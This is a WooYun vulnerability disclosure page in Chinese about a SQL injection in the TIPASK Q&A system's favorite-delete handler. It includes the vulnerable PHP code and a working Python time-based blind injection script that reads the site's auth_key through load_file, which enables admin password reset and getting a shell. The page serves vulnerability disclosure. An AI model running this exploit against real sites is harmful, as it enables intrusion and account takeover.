当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号： WooYun-2014-87033

漏洞标题： TIPASK问答系统SQL注入一（有多个大型互联网企业案例）

相关厂商： cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间： 2014-12-15 17:39

公开时间： 2015-03-13 17:40

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： php源码审核 白盒测试

5人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-15： 细节已通知厂商并且等待厂商处理中
2014-12-17： 厂商已经确认，细节仅向厂商公开
2014-12-20： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-02-10： 细节向核心白帽子及相关领域专家公开
2015-02-20： 细节向普通白帽子公开
2015-03-02： 细节向实习白帽子公开
2015-03-13： 细节向公众公开

简要描述：

TIPASK问答系统SQL注入一（有多个大型互联网企业案例），可间接无限制getshell

详细说明：

部分案例：

0.jpg



通过下载的源代码，发现在/control/favorite.php存在注入

code 区域
function ondelete() {


        if (isset($this->post['submit'])) {


            $ids = $this->post['id'];


            $_ENV['favorite']->remove($ids);


            $this->message("收藏删除成功！", 'favorite/default');


        }


    }



$ids没有过滤进入remove函数，造成漏洞

由于该系统有360防注入，但由于版本教老，可直接绕过(wooyun上有绕过的方法)，这里不做演示

在描述中说可以无限制getshell，那就来说说如何getshell

通过全面分析该系统的代码，发现该系统有类似phpcms，discuz等系统的东西：加密的auth_key

有了这个key可以重置任意用户的密码，包括管理员，从而进后台直接无限制的getshell

1.jpg



那么我们就来获取这个auth_key

Exp:

code 区域
#/usr/bin/pytyon





import urllib


import urllib2





from time import *





def inject(url,payload):


    post  = urllib.urlencode({


        'id':payload,


        'submit':'1'


    })


    header = {'Cookie':'tp_auth=70349FVn7tDasEWTHDyi6y7itpKIFhjiQ66UaK7mwIB31Rc7E0MttS8v7QfbBy1yGmiHDNptr3sjTC7RyXhM'}


    req = urllib2.Request(url,post,header)


    start_time = time()


    resp = urllib2.urlopen(req)


    flag = int(time()-start_time)


    return flag





def exploit():


    result = ""


    url = '**.**.**.**/tipask/?favorite/delete.html'


    for i in range(4677,4741):


        for num in range(32,127):


            flag= inject(url,"2) and if(ord(substring((select/**/load_file(0x443A5C417070536572765C7777775C74697061736B5C646174615C63616368655C73657474696E672E706870)),%s,1))=%s,BENCHMARK(5000000,md5(1)),null)#"%(i,num))


            if flag>0:


                mstr = i - 4676


                result = result+chr(num)


                print 'auth_key =>'+result


                break





if __name__=="__main__":


    exploit()



运行exp,结果如下

2.jpg



漏洞证明：

2.jpg

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-12-17 16:24

厂商回复：

CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-12-14 00:41 | Arthur ( 实习白帽子 | Rank:85 漏洞数:35 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)
    1

    看到戴尔中国就恨得牙痒痒！

    1# 回复此人
  2. 2015-03-14 10:31 | BMa 认证白帽子 ( 核心白帽子 | Rank:2014 漏洞数:223 )
    0

    重要的问题：key的绝对路径怎么来？

    2# 回复此人
  3. 2015-04-08 12:45 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    鸡肋 =。=

    3# 回复此人

登录后才能发表评论，请先 登录 。